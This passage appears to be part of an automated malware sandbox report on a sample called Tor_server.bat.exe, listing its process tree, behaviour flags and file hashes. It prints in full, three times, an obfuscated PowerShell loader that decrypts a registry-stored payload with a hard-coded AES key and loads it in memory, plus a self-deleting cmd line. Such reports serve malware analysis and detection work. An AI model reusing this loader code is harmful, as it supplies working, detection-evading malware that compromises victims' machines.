'')($UswSE0);$UswSE1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('c5XC748b+iFBdBWdnZ4s2w==');$UswSE1 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE1, 0, $UswSE1.Length);$UswSE1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE1);$UswSE2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eJLAPTei3F5Fj8pfHCkW0A==');$UswSE2 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE2, 0, $UswSE2.Length);$UswSE2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE2);$UswSE3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7VMq7slMB5TL9zlr2duzSA==');$UswSE3 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE3, 0, $UswSE3.Length);$UswSE3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE3);$cXkwu.Dispose();$OeLLh1.Dispose();$vDMJP = [Microsoft.Win32.Registry]::$HVXKt.$gBBaw($UswSE).$cOnuq($Dsgcn);$ZyJrD=[string[]]$vDMJP.Split('\');$pKkNV=XSkGH(CzXOR([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[1])));BdfTq $pKkNV (,[string[]] ('%*'));$quBDS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[0]);$OeLLh = New-Object System.Security.Cryptography.AesManaged;$OeLLh.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$CdjJU = $OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')();$quBDS = $CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($quBDS, 0, $quBDS.Length);$CdjJU.Dispose();$OeLLh.Dispose();$YMVfV = New-Object System.IO.MemoryStream(, $quBDS);$HPwhP = New-Object System.IO.MemoryStream;$LnniF = New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::$UswSE1);$LnniF.$ewjne($HPwhP);$LnniF.Dispose();$YMVfV.Dispose();$HPwhP.Dispose();$quBDS = $HPwhP.ToArray();$xnpKq = $XVVPy | IEX;$ZLyfJ = $xnpKq::$UswSE2($quBDS);$xoyvm = $ZLyfJ.EntryPoint;$xoyvm.$UswSE0($null, (, [string[]] ($WtQaE)))5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:5584
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4352).WaitForExit();[System.Threading.Thread]::Sleep(5000); function CzXOR($wCmAa){ $OeLLh=[System.Security.Cryptography.Aes]::Create(); $OeLLh.Mode=[System.Security.Cryptography.CipherMode]::CBC; $OeLLh.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $OeLLh.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U='); $OeLLh.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q=='); $CdjJU=$OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')(); $ZrPpX=$CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wCmAa, 0, $wCmAa.Length); $CdjJU.Dispose(); $OeLLh.Dispose(); $ZrPpX;}function XSkGH($wCmAa){ $YMVfV=New-Object System.IO.MemoryStream(,$wCmAa); $HPwhP=New-Object System.IO.MemoryStream; $LnniF=New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::Decompress); $LnniF.CopyTo($HPwhP); $LnniF.Dispose(); $YMVfV.Dispose(); $HPwhP.Dispose(); $HPwhP.ToArray();}function BdfTq($wCmAa,$IUdXm){ $ZLyfJ=[System.Reflection.Assembly]::Load([byte[]]$wCmAa); $xoyvm=$ZLyfJ.EntryPoint; $xoyvm.Invoke($null, $IUdXm);}$OeLLh1 = New-Object System.Security.Cryptography.AesManaged;$OeLLh1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$cXkwu = $OeLLh1.('rotpyrceDetaerC'[-1..-15] -join '')();$UswSE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('18zwi26zozI/4sNwvOJxpg==');$UswSE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE, 0, $UswSE.Length);$UswSE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE);$Dsgcn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EkARJ6Rv6BIg2MogoHYcmw/X0/TgnV5+LWpTmFkicv4=');$Dsgcn = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Dsgcn, 0, $Dsgcn.Length);$Dsgcn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Dsgcn);$WtQaE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CPgoovSvydwIKAVbsV0oUg==');$WtQaE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WtQaE, 0, $WtQaE.Length);$WtQaE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WtQaE);$XVVPy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iTx/W/jnzoHE14r8DEibMEyuaeYiE3dAqeSv8NW3jSN5A97h+1KY+THryvIh1dJiGmsnJ//SXLVPWbfMRzL7ufXSCGPz+pfVsuxaLTSyptiJPzqcoan9Xr1jE4Rmc5u7LTId80wSaXqLNmoB4fPg/P7NE3c2Yuw0nqWt/ZngWniFYubjYtKMqyyNRSfNgyr89Ug/vFc6LgfL0bPIYeBlHCze7nx8PsBL+Q/EBybHWqUfBjNVsJmx3EeYrFfxNdSC3e8Y+JBmg8TSGLJHyBt+tFwMt/TmHxps75m66JuQeZLlhKeLZ6bjJ74zTvsp2A8buoYwDETvErAcvrBSGhVS7mYWy6o4J4BMWokYyeV+Cq7Q8/73SCovtE69+hmKy7HRlFzPuhkQyPHRSeQjZ9+873yj/eogIwSIkiXGB0fk3+g=');$XVVPy = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVVPy, 0, $XVVPy.Length);$XVVPy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVVPy);$ZnwOj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l578nKfyTb6bpNlYfElbzQ==');$ZnwOj = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZnwOj, 0, $ZnwOj.Length);$ZnwOj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZnwOj);$cOnuq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1OZ44W6bdY1aa1QLUX4fJA==');$cOnuq = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cOnuq, 0, $cOnuq.Length);$cOnuq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cOnuq);$gBBaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KPGj8zPRDGjW+cttrplwtg==');$gBBaw = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gBBaw, 0, $gBBaw.Length);$gBBaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gBBaw);$HVXKt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg3LvN/Da8EBkYu0PdZp+A==');$HVXKt = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HVXKt, 0, $HVXKt.Length);$HVXKt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HVXKt);$ewjne = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bahh8RYkzn28RHBrHTR6Rw==');$ewjne = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ewjne, 0, $ewjne.Length);$ewjne = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ewjne);$UswSE0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7ps7mtx52AURDUYRcez/RA==');$UswSE0 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE0, 0, $UswSE0.Length);$UswSE0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE0);$UswSE1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('c5XC748b+iFBdBWdnZ4s2w==');$UswSE1 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE1, 0, $UswSE1.Length);$UswSE1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE1);$UswSE2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eJLAPTei3F5Fj8pfHCkW0A==');$UswSE2 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE2, 0, $UswSE2.Length);$UswSE2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE2);$UswSE3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7VMq7slMB5TL9zlr2duzSA==');$UswSE3 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE3, 0, $UswSE3.Length);$UswSE3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE3);$cXkwu.Dispose();$OeLLh1.Dispose();$vDMJP = [Microsoft.Win32.Registry]::$HVXKt.$gBBaw($UswSE).$cOnuq($Dsgcn);$ZyJrD=[string[]]$vDMJP.Split('\');$pKkNV=XSkGH(CzXOR([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[1])));BdfTq $pKkNV (,[string[]] ('%*'));$quBDS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[0]);$OeLLh = New-Object System.Security.Cryptography.AesManaged;$OeLLh.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$CdjJU = $OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')();$quBDS = $CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($quBDS, 0, $quBDS.Length);$CdjJU.Dispose();$OeLLh.Dispose();$YMVfV = New-Object System.IO.MemoryStream(, $quBDS);$HPwhP = New-Object System.IO.MemoryStream;$LnniF = New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::$UswSE1);$LnniF.$ewjne($HPwhP);$LnniF.Dispose();$YMVfV.Dispose();$HPwhP.Dispose();$quBDS = $HPwhP.ToArray();$xnpKq = $XVVPy | IEX;$ZLyfJ = $xnpKq::$UswSE2($quBDS);$xoyvm = $ZLyfJ.EntryPoint;$xoyvm.$UswSE0($null, (, [string[]] ($WtQaE)))5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2644
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4352).WaitForExit();[System.Threading.Thread]::Sleep(5000); function CzXOR($wCmAa){ $OeLLh=[System.Security.Cryptography.Aes]::Create(); $OeLLh.Mode=[System.Security.Cryptography.CipherMode]::CBC; $OeLLh.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $OeLLh.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U='); $OeLLh.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q=='); $CdjJU=$OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')(); $ZrPpX=$CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wCmAa, 0, $wCmAa.Length); $CdjJU.Dispose(); $OeLLh.Dispose(); $ZrPpX;}function XSkGH($wCmAa){ $YMVfV=New-Object System.IO.MemoryStream(,$wCmAa); $HPwhP=New-Object System.IO.MemoryStream; $LnniF=New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::Decompress); $LnniF.CopyTo($HPwhP); $LnniF.Dispose(); $YMVfV.Dispose(); $HPwhP.Dispose(); $HPwhP.ToArray();}function BdfTq($wCmAa,$IUdXm){ $ZLyfJ=[System.Reflection.Assembly]::Load([byte[]]$wCmAa); $xoyvm=$ZLyfJ.EntryPoint; $xoyvm.Invoke($null, $IUdXm);}$OeLLh1 = New-Object System.Security.Cryptography.AesManaged;$OeLLh1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$cXkwu = $OeLLh1.('rotpyrceDetaerC'[-1..-15] -join '')();$UswSE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('18zwi26zozI/4sNwvOJxpg==');$UswSE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE, 0, $UswSE.Length);$UswSE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE);$Dsgcn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EkARJ6Rv6BIg2MogoHYcmw/X0/TgnV5+LWpTmFkicv4=');$Dsgcn = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Dsgcn, 0, $Dsgcn.Length);$Dsgcn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Dsgcn);$WtQaE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CPgoovSvydwIKAVbsV0oUg==');$WtQaE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WtQaE, 0, $WtQaE.Length);$WtQaE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WtQaE);$XVVPy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iTx/W/jnzoHE14r8DEibMEyuaeYiE3dAqeSv8NW3jSN5A97h+1KY+THryvIh1dJiGmsnJ//SXLVPWbfMRzL7ufXSCGPz+pfVsuxaLTSyptiJPzqcoan9Xr1jE4Rmc5u7LTId80wSaXqLNmoB4fPg/P7NE3c2Yuw0nqWt/ZngWniFYubjYtKMqyyNRSfNgyr89Ug/vFc6LgfL0bPIYeBlHCze7nx8PsBL+Q/EBybHWqUfBjNVsJmx3EeYrFfxNdSC3e8Y+JBmg8TSGLJHyBt+tFwMt/TmHxps75m66JuQeZLlhKeLZ6bjJ74zTvsp2A8buoYwDETvErAcvrBSGhVS7mYWy6o4J4BMWokYyeV+Cq7Q8/73SCovtE69+hmKy7HRlFzPuhkQyPHRSeQjZ9+873yj/eogIwSIkiXGB0fk3+g=');$XVVPy = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVVPy, 0, $XVVPy.Length);$XVVPy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVVPy);$ZnwOj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l578nKfyTb6bpNlYfElbzQ==');$ZnwOj = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZnwOj, 0, $ZnwOj.Length);$ZnwOj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZnwOj);$cOnuq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1OZ44W6bdY1aa1QLUX4fJA==');$cOnuq = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cOnuq, 0, $cOnuq.Length);$cOnuq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cOnuq);$gBBaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KPGj8zPRDGjW+cttrplwtg==');$gBBaw = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gBBaw, 0, $gBBaw.Length);$gBBaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gBBaw);$HVXKt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg3LvN/Da8EBkYu0PdZp+A==');$HVXKt = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HVXKt, 0, $HVXKt.Length);$HVXKt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HVXKt);$ewjne = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bahh8RYkzn28RHBrHTR6Rw==');$ewjne = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ewjne, 0, $ewjne.Length);$ewjne = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ewjne);$UswSE0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7ps7mtx52AURDUYRcez/RA==');$UswSE0 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE0, 0, $UswSE0.Length);$UswSE0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE0);$UswSE1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('c5XC748b+iFBdBWdnZ4s2w==');$UswSE1 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE1, 0, $UswSE1.Length);$UswSE1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE1);$UswSE2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eJLAPTei3F5Fj8pfHCkW0A==');$UswSE2 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE2, 0, $UswSE2.Length);$UswSE2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE2);$UswSE3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7VMq7slMB5TL9zlr2duzSA==');$UswSE3 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE3, 0, $UswSE3.Length);$UswSE3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE3);$cXkwu.Dispose();$OeLLh1.Dispose();$vDMJP = [Microsoft.Win32.Registry]::$HVXKt.$gBBaw($UswSE).$cOnuq($Dsgcn);$ZyJrD=[string[]]$vDMJP.Split('\');$pKkNV=XSkGH(CzXOR([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[1])));BdfTq $pKkNV (,[string[]] ('%*'));$quBDS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[0]);$OeLLh = New-Object System.Security.Cryptography.AesManaged;$OeLLh.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$CdjJU = $OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')();$quBDS = $CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($quBDS, 0, $quBDS.Length);$CdjJU.Dispose();$OeLLh.Dispose();$YMVfV = New-Object System.IO.MemoryStream(, $quBDS);$HPwhP = New-Object System.IO.MemoryStream;$LnniF = New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::$UswSE1);$LnniF.$ewjne($HPwhP);$LnniF.Dispose();$YMVfV.Dispose();$HPwhP.Dispose();$quBDS = $HPwhP.ToArray();$xnpKq = $XVVPy | IEX;$ZLyfJ = $xnpKq::$UswSE2($quBDS);$xoyvm = $ZLyfJ.EntryPoint;$xoyvm.$UswSE0($null, (, [string[]] ($WtQaE)))5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:660
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\Downloads\Tor_server\Tor_server.bat.exe" & ATTRIB -h -s "C:\Users\Admin\Downloads\Tor_server\Tor_server.bat.exe" & del /f "C:\Users\Admin\Downloads\Tor_server\Tor_server.bat.exe"4⤵PID:2096
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:4872
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C:\Windows\system32\PING.EXEPING localhost -n 85⤵
- Runs ping.exe
PID:4724
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C:\Windows\system32\taskkill.exetaskkill /F /IM "C:\Users\Admin\Downloads\Tor_server\Tor_server.bat.exe"5⤵
- Kills process with taskkill
PID:7080
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C:\Windows\system32\attrib.exeATTRIB -h -s "C:\Users\Admin\Downloads\Tor_server\Tor_server.bat.exe"5⤵
- Views/modifies file attributes
PID:4384
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2736
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc1⤵PID:2696
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵PID:2596
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks1⤵PID:2552
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2520
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2512
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2496
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵PID:2480
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵PID:2328
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵PID:2288
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc1⤵PID:2156
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2004
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k appmodel -s StateRepository1⤵PID:1868
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s netprofm1⤵PID:1828
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1744
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1664
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s NlaSvc1⤵PID:1544
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder1⤵PID:1536
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵PID:1492
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s EventSystem1⤵PID:1304
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp1⤵PID:1280
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵PID:1216
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s nsi1⤵PID:1160
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵PID:1084
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService1⤵PID:700
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts1⤵PID:364
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s LSM1⤵PID:904
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:5108
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C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"1⤵PID:4592
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C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:5536
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s PcaSvc1⤵PID:2528
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:6300
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
- Drops file in System32 directory
PID:3724 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3724 -s 3842⤵
- Program crash
PID:1808
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:6164
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
- Drops file in System32 directory
PID:3708 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3708 -s 3882⤵
- Program crash
PID:4920
-
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks processor information in registry
- Enumerates system info in registry
PID:2652
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:5136
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
-
Filesize
46KB
MD5fe354742c7d0a5136149c510b2107517
SHA1ecbd09a2b97a9ebcffc23b2025176306556691eb
SHA25658037e17f3e91b25b2d5e620d622dae9739e4ee0806be2dd0e90ad93e294f9fd
SHA512e2471c966a799a0206c15b2e6ce195e8ffb5538cd08314634e9cd86d5c389c5176623614bda3768b42367d5eee488e7fc79a8415a81d7340181742c139cb7b6d
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Filesize
12KB
MD5a7fac6bf9fcd9d763e525a943baa3294
SHA1d20a382687933efad2a0076d3c48e8eae3ead111
SHA2567f0f2aca2c3276f590614e7eed4d856f1df026b006290be21fddebac50e77007
SHA512d59a86bde948aacbc413dcbee17ed27f3f0de7cdaf208fa6da2d411946ded0e5ccf49f8f497b54975ebf5919e008aabaed95da4462b7814e93f082a86303309b
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Filesize
199KB
MD5825c3511f4a6d84b501600e5272edc09
SHA1f18ea30c4079d4d2c421448560588343615fc6b3
SHA256c97c8c64169d0beae3353b54899566ed234ace5d36a482631e705d5daecc7ba2
